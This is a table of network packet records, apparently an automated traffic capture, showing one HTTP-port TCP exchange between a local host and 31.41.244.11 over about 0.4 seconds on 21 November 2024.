Nov 21, 2024 03:09:12.444741964 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.444786072 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.444844961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.444890976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.445753098 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.445797920 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.591249943 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.591279030 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.591454029 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.591667891 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.591742992 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.591810942 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.591856003 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.592761993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.592814922 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.592854977 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.592891932 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.593820095 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.593866110 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.593919992 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.593962908 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.594908953 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.594958067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.595029116 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.595071077 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.595959902 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.596008062 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.596216917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.596262932 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.597023010 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.597073078 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.597131968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.597176075 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.598139048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.598191977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.598229885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.598268032 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.599153042 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.599195957 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.599302053 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.599348068 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.600220919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.600270987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.600353956 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.600398064 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.601278067 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.601344109 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.601378918 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.601422071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.602348089 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.602394104 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.602453947 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.602518082 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.603425980 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.603473902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.603503942 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.603543043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.604530096 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.604573965 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.604650974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.604718924 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.605628014 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.605675936 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.605773926 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.605822086 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.606646061 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.606693029 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.606776953 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.606822014 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.607702971 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.607777119 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.607846022 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.607932091 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.608783007 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.608829021 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.608864069 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.608907938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.609833956 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.609879017 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.609947920 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.609994888 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.610918999 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.610965967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.611056089 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.611099005 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.611963034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.612011909 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.612082958 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.612124920 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.613018990 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.613064051 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.613121986 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.613166094 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.614104986 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.614186049 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.614219904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.614265919 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.615156889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.615212917 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.615262985 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.615304947 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.616236925 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.616288900 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.616328001 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.616369963 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.617300034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.617348909 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.617429972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.617476940 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.618366003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.618407965 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.618474960 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.618515968 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.619421005 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.619462967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.619545937 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.619585037 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.620482922 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.620527983 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.620587111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.620628119 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.621578932 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.621628046 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.621664047 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.621726036 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.622631073 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.622678995 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.622733116 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.622776031 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.623683929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.623728037 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.623764038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.623806953 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.624769926 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.624860048 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.624869108 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.624914885 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.625813961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.625864029 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.625916004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.625962973 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.626888990 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.626939058 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.627005100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.627049923 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.627958059 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.628002882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.628071070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.628115892 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.629017115 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.629059076 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.629126072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.629167080 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.630100965 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.630142927 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.630215883 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.630259991 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.631155968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.631211996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.631258011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.631305933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.632239103 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.632282972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.632318974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.632363081 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.633296013 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.633342981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.633408070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.633447886 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.634356022 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.634402990 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.634459019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.634501934 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.635417938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.635488987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.635526896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.635632992 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.636495113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.636596918 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.636606932 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.636666059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.637556076 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.637604952 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.637619019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.637664080 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.638638020 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.638683081 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.638750076 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.638809919 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.639708042 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.639750957 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.639827967 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.639870882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.640748024 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.640813112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.640853882 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.640894890 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.641830921 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.641876936 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.641940117 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.641979933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.642914057 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.642959118 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.643043995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.643090963 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.643980026 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.644026041 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.644078016 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.644120932 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.645020008 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.645066023 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.645137072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.645178080 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.646128893 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.646176100 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.646213055 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.646256924 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.647097111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.647139072 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.793073893 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.793191910 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.793273926 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.793524981 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.793598890 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.793692112 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.793739080 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.793771982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.793817043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.794776917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.794822931 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.794897079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.794939995 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.795829058 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.795871973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.795917034 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.796900988 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.796946049 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.797010899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.797055006 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.798007011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.798055887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.798146963 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.798190117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.799034119 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.799076080 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.799186945 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.799232006 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.800127029 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.800219059 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.800265074 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.801182032 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.801227093 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.801265955 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.801310062 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.802223921 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.802268982 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.802314043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.802354097 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.803297043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.803348064 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.803389072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.803456068 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.804356098 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.804450035 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.804513931 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.805407047 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.805455923 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.805522919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.805567026 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.806526899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.806570053 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.806639910 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.806684017 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.807596922 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.807718039 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.807765961 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.808655024 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.808697939 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.808779001 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.808820963 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.809691906 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.809736013 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.809822083 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.809865952 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.810789108 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.810846090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.810904980 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.810946941 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.811873913 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.811969995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.812014103 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.812891960 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.812935114 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.813018084 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.813059092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.813955069 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.813997984 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.814078093 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.814121962 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.815013885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.815073967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.815118074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.815161943 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.816099882 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.816200018 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.816242933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.817156076 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.817202091 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.817255020 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.817300081 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.818231106 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.818350077 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.818401098 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.819287062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.819339037 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.819370031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.819413900 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.820364952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.820468903 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.820516109 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.821418047 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.821465969 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.821530104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.821568966 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.822501898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.822550058 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.822551012 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.822597027 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.823544025 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.823661089 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.823714018 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.824615955 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.824662924 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.824716091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.824764967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.825685024 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.825754881 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.825787067 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.825828075 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.826771021 CET	80	49814	31.41.244.11	192.168.2.5
